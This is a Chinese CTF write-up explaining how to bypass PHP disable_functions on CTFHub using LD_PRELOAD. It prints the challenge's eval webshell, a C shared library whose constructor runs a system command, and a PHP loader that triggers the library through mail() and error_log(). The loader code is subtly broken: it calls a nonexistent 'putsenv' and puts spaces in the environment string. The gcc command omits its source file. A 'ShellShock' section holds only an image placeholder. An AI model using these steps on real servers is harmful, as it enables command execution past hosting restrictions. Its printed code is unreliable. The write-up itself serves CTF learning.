CTFHUB--WEB进阶

前言

  大部分都是知识盲区,可能不会写的很好,大家凑合着看。

LD_PRELOAD

  这个题目一开始就不是特别的懂,看了一些writeup之后才渐渐明白这题目所考察的知识点,下面就来讲讲吧。题目开始就提示我们要用LD_PRELOAD,这个是什么东西呢?

<!DOCTYPE html>
<html>
<head>
    <title>CTFHub Bypass disable_function —— LD_PRELOAD</title>
</head>
<body>
<h1>CTFHub Bypass disable_function —— LD_PRELOAD</h1>
<p>本环境来源于<a href="https://github.com/AntSwordProject/AntSword-Labs">AntSword-Labs</a></p>
</body>
</html>
<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>


LD_PRELOAD是LINUX下的一个环境变量,用来装载一动态链接库,优先级很高。我们知道我们在编译程序的时候会发生重定向去库函数寻找相应的函数,然后加载到我们的程序当中,那么既然如此我们可不可以就是通过利用这个变量覆盖调我们程序所需要的同名或者其他的库函数的链接呢?当然是可以的,因为这个变量它的优先级比系统变量的优先级还高,执行的还早。


通过原代码,我看到有一个输入点,先用蚁剑连接上这个网站,查找之后发现有flag文件但是打不开。
在这里插入图片描述


既然flag在/flag文件当中,而且我们用不能打开这个文件,所以利用LD_PRELOAD这个变量,我们编写一个链接库文件.so放置在这个网页上(很多网友问为什么放在tmp上,根据我的感觉,再文件上传中文件会先放在tmp上再进行下一步操作),然后再编写一个PHP文件使用(引导)这个动态链接库文件。【这里的__attribute__((constructor))是做什么的呢?-------attribute((constructor)) 先于main()函数调用 】

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

__attribute__ ((__constructor__)) void angel (void)
{
    unsetenv("LD_PRELOAD");				   //删除原来的环境变量
    system("/readflag > /tmp/getflag.txt");//将所读文件放到tmp中的getflag.txt中
}
//命名为hack.c


然后编译为一个链接库:gcc -shared -fPIC -o flag.so,接着上传蚁剑的tmp文件夹。
在这里插入图片描述


编写shell.php引导程序,让我们的服务器先执行我们自定义的环境变量。

<?php
        putsenv("LD_PRELOAD = /tmp/flag.so");//定义我们自己的环境变量
        mail("", "", "", "");
        error_log("",1,"","");
?>

在这里插入图片描述

启动一下我们编写的的shell.php运行我们设定的环境变量。

http://url:port/shell.php
或者
http://url:port/?ant=include('shell.php');

最后再tmp文件下的getflag.txt可拿到flag。

ShellShock

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值